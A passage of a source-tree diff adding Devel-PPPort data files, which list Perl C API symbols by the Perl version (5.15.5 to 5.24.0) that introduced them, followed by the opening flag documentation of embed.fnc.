+gv_autoload_pvn # U
+gv_autoload_sv # U
+gv_fetchmeth_pv # U
+gv_fetchmeth_pv_autoload # U
+gv_fetchmeth_pvn # U
+gv_fetchmeth_pvn_autoload # U
+gv_fetchmeth_sv # U
+gv_fetchmeth_sv_autoload # U
+gv_fetchmethod_pv_flags # U
+gv_fetchmethod_pvn_flags # U
+gv_fetchmethod_sv_flags # U
+gv_init_pv # U
+gv_init_pvn # U
+gv_init_sv # U
+newGVgen_flags # U
+sv_derived_from_pv # U
+sv_derived_from_pvn # U
+sv_derived_from_sv # U
+sv_does_pv # U
+sv_does_pvn # U
+sv_does_sv # U
+sv_ref # U
+whichsig_pv # U
+whichsig_pvn # U
+whichsig_sv # U
+WIDEST_UTYPE # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015005
new file mode 100644
index 00000000000..1908a935e3d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015005
@@ -0,0 +1 @@
+5.015005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015006
new file mode 100644
index 00000000000..4fb3c7c5901
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015006
@@ -0,0 +1,2 @@
+5.015006
+newCONSTSUB_flags # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015007
new file mode 100644
index 00000000000..ce9078968a1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015007
@@ -0,0 +1,8 @@
+5.015007
+toLOWER_utf8 # U
+toTITLE_utf8 # U
+toUPPER_utf8 # U
+to_utf8_fold # U
+to_utf8_lower # U
+to_utf8_title # U
+to_utf8_upper # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015008
new file mode 100644
index 00000000000..14c640388c7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015008
@@ -0,0 +1,3 @@
+5.015008
+is_utf8_char_buf # U
+wrap_op_checker # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015009
new file mode 100644
index 00000000000..30537f0445e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015009
@@ -0,0 +1,5 @@
+5.015009
+utf8_to_uvchr_buf # U
+utf8_to_uvuni_buf # U
+valid_utf8_to_uvchr # U
+valid_utf8_to_uvuni # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016000
new file mode 100644
index 00000000000..3bd46b73620
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016000
@@ -0,0 +1 @@
+5.016000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016001
new file mode 100644
index 00000000000..5e2b46c7762
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016001
@@ -0,0 +1 @@
+5.016001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016002
new file mode 100644
index 00000000000..dfd939f6843
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016002
@@ -0,0 +1 @@
+5.016002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016003
new file mode 100644
index 00000000000..88e54eb950f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016003
@@ -0,0 +1 @@
+5.016003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017000
new file mode 100644
index 00000000000..bf56b9a68af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017000
@@ -0,0 +1 @@
+5.017000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017001
new file mode 100644
index 00000000000..6c9994352af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017001
@@ -0,0 +1 @@
+5.017001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017002
new file mode 100644
index 00000000000..fd825e14bcd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017002
@@ -0,0 +1,7 @@
+5.017002
+is_uni_blank # U
+is_uni_blank_lc # U
+is_utf8_blank # U
+sv_copypv_flags # U
+sv_copypv_nomg # U
+sv_vcatpvfn_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017003
new file mode 100644
index 00000000000..50227645479
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017003
@@ -0,0 +1 @@
+5.017003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017004
new file mode 100644
index 00000000000..02021258887
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017004
@@ -0,0 +1,5 @@
+5.017004
+PL_comppad_name # E
+PadlistREFCNT # U
+newMYSUB # E (Perl_newMYSUB)
+newSVpadname # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017005
new file mode 100644
index 00000000000..31dfb1c3838
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017005
@@ -0,0 +1 @@
+5.017005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017006
new file mode 100644
index 00000000000..0bb24862396
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017006
@@ -0,0 +1,2 @@
+5.017006
+READ_XDIGIT # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017007
new file mode 100644
index 00000000000..c95c23505f2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017007
@@ -0,0 +1,7 @@
+5.017007
+SvREFCNT_dec_NN # U
+_is_uni_perl_idstart # U
+_is_utf8_perl_idstart # U
+is_uni_alnumc # U
+is_uni_alnumc_lc # U
+is_utf8_alnumc # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017008
new file mode 100644
index 00000000000..9228a1506d0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017008
@@ -0,0 +1,8 @@
+5.017008
+_is_uni_FOO # U
+_is_uni_perl_idcont # U
+_is_utf8_FOO # U
+_is_utf8_mark # U
+_is_utf8_perl_idcont # U
+isALPHANUMERIC # U
+isIDCONT # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017009
new file mode 100644
index 00000000000..fd728270400
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017009
@@ -0,0 +1,3 @@
+5.017009
+av_tindex # U
+av_top_index # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017010
new file mode 100644
index 00000000000..fed2762e9b6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017010
@@ -0,0 +1 @@
+5.017010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017011
new file mode 100644
index 00000000000..5fcf0516810
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017011
@@ -0,0 +1 @@
+5.017011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018000
new file mode 100644
index 00000000000..17729d0b741
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018000
@@ -0,0 +1,2 @@
+5.018000
+hv_rand_set # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018001
new file mode 100644
index 00000000000..5d4bb8f5003
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018001
@@ -0,0 +1 @@
+5.018001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018002
new file mode 100644
index 00000000000..17291bcf13a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018002
@@ -0,0 +1 @@
+5.018002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018003
new file mode 100644
index 00000000000..4d40f26283a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018003
@@ -0,0 +1 @@
+5.018003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018004
new file mode 100644
index 00000000000..f137cc2ad75
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018004
@@ -0,0 +1 @@
+5.018004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019000
new file mode 100644
index 00000000000..a6e8e034939
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019000
@@ -0,0 +1 @@
+5.019000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019001
new file mode 100644
index 00000000000..803ad9abffb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019001
@@ -0,0 +1,6 @@
+5.019001
+re_intuit_start # A
+toFOLD # U
+toFOLD_utf8 # U
+toLOWER_L1 # U
+toTITLE # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019002
new file mode 100644
index 00000000000..5af71fbeae6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019002
@@ -0,0 +1,2 @@
+5.019002
+SVt_INVLIST # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019003
new file mode 100644
index 00000000000..488ef60b2f2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019003
@@ -0,0 +1,3 @@
+5.019003
+croak_memory_wrap # U (Perl_croak_memory_wrap)
+sv_pos_b2u_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019004
new file mode 100644
index 00000000000..1aa2023c9f7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019004
@@ -0,0 +1,4 @@
+5.019004
+append_utf8_from_native_byte # U
+is_safe_syscall # U
+uvoffuni_to_utf8_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019005
new file mode 100644
index 00000000000..69dcd69aefb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019005
@@ -0,0 +1 @@
+5.019005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019006
new file mode 100644
index 00000000000..f14fb0c0c4b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019006
@@ -0,0 +1 @@
+5.019006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019007
new file mode 100644
index 00000000000..c34055ea2af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019007
@@ -0,0 +1,2 @@
+5.019007
+OP_TYPE_IS # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019008
new file mode 100644
index 00000000000..8fe2e2f1ded
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019008
@@ -0,0 +1 @@
+5.019008
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019009
new file mode 100644
index 00000000000..7706f723a00
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019009
@@ -0,0 +1,5 @@
+5.019009
+_to_utf8_fold_flags # A
+_to_utf8_lower_flags # A
+_to_utf8_title_flags # A
+_to_utf8_upper_flags # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019010
new file mode 100644
index 00000000000..8bdae66ddbe
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019010
@@ -0,0 +1,2 @@
+5.019010
+OP_TYPE_IS_OR_WAS # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019011
new file mode 100644
index 00000000000..2436c20fa66
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019011
@@ -0,0 +1 @@
+5.019011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020000
new file mode 100644
index 00000000000..0c909259446
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020000
@@ -0,0 +1 @@
+5.020000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020001
new file mode 100644
index 00000000000..1448fe7920c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020001
@@ -0,0 +1 @@
+5.020001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020002
new file mode 100644
index 00000000000..e31c0d0f492
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020002
@@ -0,0 +1 @@
+5.020002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020003
new file mode 100644
index 00000000000..89ec61981a0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020003
@@ -0,0 +1 @@
+5.020003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021000
new file mode 100644
index 00000000000..b3138ab9c57
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021000
@@ -0,0 +1 @@
+5.021000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021001
new file mode 100644
index 00000000000..353fedabfc5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021001
@@ -0,0 +1,13 @@
+5.021001
+_is_in_locale_category # U
+_is_utf8_char_slow # U
+_is_utf8_idcont # U
+_is_utf8_idstart # U
+_is_utf8_xidcont # U
+_is_utf8_xidstart # U
+isALNUM_lazy # U
+isIDFIRST_lazy # U
+isUTF8_CHAR # U
+markstack_grow # E (Perl_markstack_grow)
+my_strerror # U
+PERL_UNUSED_RESULT # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021002
new file mode 100644
index 00000000000..abe5ac12465
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021002
@@ -0,0 +1,3 @@
+5.021002
+grok_number_flags # U
+op_sibling_splice # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021004
new file mode 100644
index 00000000000..3a62526e13b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021004
@@ -0,0 +1,5 @@
+5.021004
+cv_set_call_checker_flags # U
+grok_infnan # U
+isinfnan # U
+sync_locale # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021005
new file mode 100644
index 00000000000..2a02ad28b68
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021005
@@ -0,0 +1,4 @@
+5.021005
+cv_name # A
+newMETHOP # U
+newMETHOP_named # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021006
new file mode 100644
index 00000000000..fbefd16d47b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021006
@@ -0,0 +1,3 @@
+5.021006
+newDEFSVOP # U
+op_convert_list # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021007
new file mode 100644
index 00000000000..bcaa19ca5ff
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021007
@@ -0,0 +1,11 @@
+5.021007
+OpHAS_SIBLING # U
+OpSIBLING # U
+PadnameUTF8 # E
+is_invariant_string # U
+newPADNAMELIST # U
+newPADNAMEouter # U
+newPADNAMEpvn # U
+newUNOP_AUX # E
+padnamelist_fetch # U
+padnamelist_store # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021008
new file mode 100644
index 00000000000..ccba00cb34d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021008
@@ -0,0 +1,2 @@
+5.021008
+sv_get_backrefs # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021009
new file mode 100644
index 00000000000..7397722a252
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021009
@@ -0,0 +1 @@
+5.021009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021010
new file mode 100644
index 00000000000..821a8fb6294
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021010
@@ -0,0 +1,2 @@
+5.021010
+DECLARATION_FOR_LC_NUMERIC_MANIPULATION # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021011
new file mode 100644
index 00000000000..6d0f3baa4f0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021011
@@ -0,0 +1,4 @@
+5.021011
+OpLASTSIB_set # U
+OpMAYBESIB_set # U
+OpMORESIB_set # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022000
new file mode 100644
index 00000000000..aca319e5cdd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022000
@@ -0,0 +1,2 @@
+5.022000
+UVCHR_SKIP # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022001
new file mode 100644
index 00000000000..28befba2cdf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022001
@@ -0,0 +1 @@
+5.022001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023000
new file mode 100644
index 00000000000..e461a326691
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023000
@@ -0,0 +1 @@
+5.023000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023001
new file mode 100644
index 00000000000..ea44212d3c7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023001
@@ -0,0 +1 @@
+5.023001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023002
new file mode 100644
index 00000000000..2060466c2ad
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023002
@@ -0,0 +1 @@
+5.023002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023003
new file mode 100644
index 00000000000..4b19a2410ac
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023003
@@ -0,0 +1 @@
+5.023003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023004
new file mode 100644
index 00000000000..ce60a67e7aa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023004
@@ -0,0 +1 @@
+5.023004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023005
new file mode 100644
index 00000000000..1b8818c372d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023005
@@ -0,0 +1 @@
+5.023005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023006
new file mode 100644
index 00000000000..f6c59949af8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023006
@@ -0,0 +1 @@
+5.023006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023007
new file mode 100644
index 00000000000..fb7c55335da
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023007
@@ -0,0 +1 @@
+5.023007
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023008
new file mode 100644
index 00000000000..ed2ef6d2eb0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023008
@@ -0,0 +1,22 @@
+5.023008
+clear_defarray # U
+cx_popblock # U
+cx_popeval # U
+cx_popformat # U
+cx_popgiven # U
+cx_poploop # U
+cx_popsub # U
+cx_popsub_args # U
+cx_popsub_common # U
+cx_popwhen # U
+cx_pushblock # U
+cx_pusheval # U
+cx_pushformat # U
+cx_pushgiven # U
+cx_pushloop_for # U
+cx_pushloop_plain # U
+cx_pushsub # U
+cx_pushwhen # U
+cx_topblock # U
+leave_adjust_stacks # U
+savetmps # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023009
new file mode 100644
index 00000000000..336b09a3eea
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023009
@@ -0,0 +1,5 @@
+5.023009
+toFOLD_uvchr # U
+toLOWER_uvchr # U
+toTITLE_uvchr # U
+toUPPER_uvchr # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5024000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5024000
new file mode 100644
index 00000000000..32870f99cef
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5024000
@@ -0,0 +1,68 @@
+5.024000
+BhkDISABLE # E
+BhkENABLE # E
+BhkENTRY_set # E
+MULTICALL # E
+PERL_SYS_TERM # E
+POP_MULTICALL # E
+PUSH_MULTICALL # E
+PadARRAY # E
+PadMAX # E
+PadlistARRAY # E
+PadlistMAX # E
+PadlistNAMES # E
+PadlistNAMESARRAY # E
+PadlistNAMESMAX # E
+PadnameLEN # E
+PadnamePV # E
+PadnameREFCNT # E
+PadnameREFCNT_dec # E
+PadnameSV # E
+PadnamelistARRAY # E
+PadnamelistMAX # E
+PadnamelistREFCNT # E
+PadnamelistREFCNT_dec # E
+RESTORE_LC_NUMERIC # E
+STORE_LC_NUMERIC_FORCE_TO_UNDERLYING # E
+STORE_LC_NUMERIC_SET_TO_NEEDED # E
+XS_APIVERSION_BOOTCHECK # E
+XS_EXTERNAL # E
+XS_INTERNAL # E
+XS_VERSION_BOOTCHECK # E
+XopDISABLE # E
+XopENABLE # E
+XopENTRY # E
+XopENTRYCUSTOM # E
+XopENTRY_set # E
+cophh_new_empty # E
+my_lstat # U (Perl_my_lstat)
+my_stat # U (Perl_my_stat)
+reentrant_free # U
+reentrant_init # U
+reentrant_retry # U
+reentrant_size # U
+ref # U (Perl_ref)
+sv_magic_portable # U
+sv_setref_pvs # A
+PERL_BCDVERSION # added by devel/scanprov
+PERL_MAGIC_glob # added by devel/scanprov
+PERL_MAGIC_mutex # added by devel/scanprov
+PERL_MAGIC_overload # added by devel/scanprov
+PERL_MAGIC_overload_elem # added by devel/scanprov
+PL_bufend # added by devel/scanprov
+PL_bufptr # added by devel/scanprov
+PL_copline # added by devel/scanprov
+PL_error_count # added by devel/scanprov
+PL_expect # added by devel/scanprov
+PL_in_my # added by devel/scanprov
+PL_in_my_stash # added by devel/scanprov
+PL_lex_state # added by devel/scanprov
+PL_lex_stuff # added by devel/scanprov
+PL_linestr # added by devel/scanprov
+PL_rsfp # added by devel/scanprov
+PL_rsfp_filters # added by devel/scanprov
+PL_tokenbuf # added by devel/scanprov
+WARN_ASSERTIONS # added by devel/scanprov
+aTHXR # added by devel/scanprov
+aTHXR_ # added by devel/scanprov
+dTHXR # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/embed.fnc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/embed.fnc
new file mode 100644
index 00000000000..1f347c2b834
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/embed.fnc
@@ -0,0 +1,2956 @@
+: BEGIN{die "You meant to run regen/embed.pl"} # Stop early if fed to perl.
+:
+: This file is processed by regen/embed.pl and autodoc.pl
+:
+: Lines are of the form:
+: flags|return_type|function_name|arg1|arg2|...|argN
+:
+: A line may be continued on another by ending it with a backslash.
+: Leading and trailing whitespace will be ignored in each component.
+:
+: flags are single letters with following meanings:
+:
+: A Available fully everywhere (usually part of the public API):
+:
+: add entry to the list of exported symbols (unless x or m);
+: any doc entry goes in perlapi.pod rather than perlintern.pod. If no
+: documentation is furnished for this function, and M is also
+: specified, the function is not listed as part of the public API.
+: If M isn't specified, and no documentation is furnished, the
+: function is listed in perlapi as existing and being undocumented
+: makes '#define foo Perl_foo' scope not just for PERL_CORE/PERL_EXT
+:
+: If the function is only exported for use in a public
+: macro, see X.
+:
+: a Allocates memory a la malloc/calloc. Also implies "R":
+:
+: proto.h: add __attribute__malloc__
+:
+: b Binary backward compatibility; has an exported Perl_ implementation
+: but function is also normally a macro (i.e. has the "m" flag as well).
+: Backcompat functions ("b") can be anywhere, but if they are also
+: macros ("m") then they have no proto.h entries so must either be in
+: mathoms.c to get marked EXTERN_C (and skipped for -DNO_MATHOMS builds)
+: or else will require special attention to ensure they are marked
+: EXTERN_C (and then won't be automatically skipped for -DNO_MATHOMS
+: builds).
+:
+: add entry to the list of exported symbols;
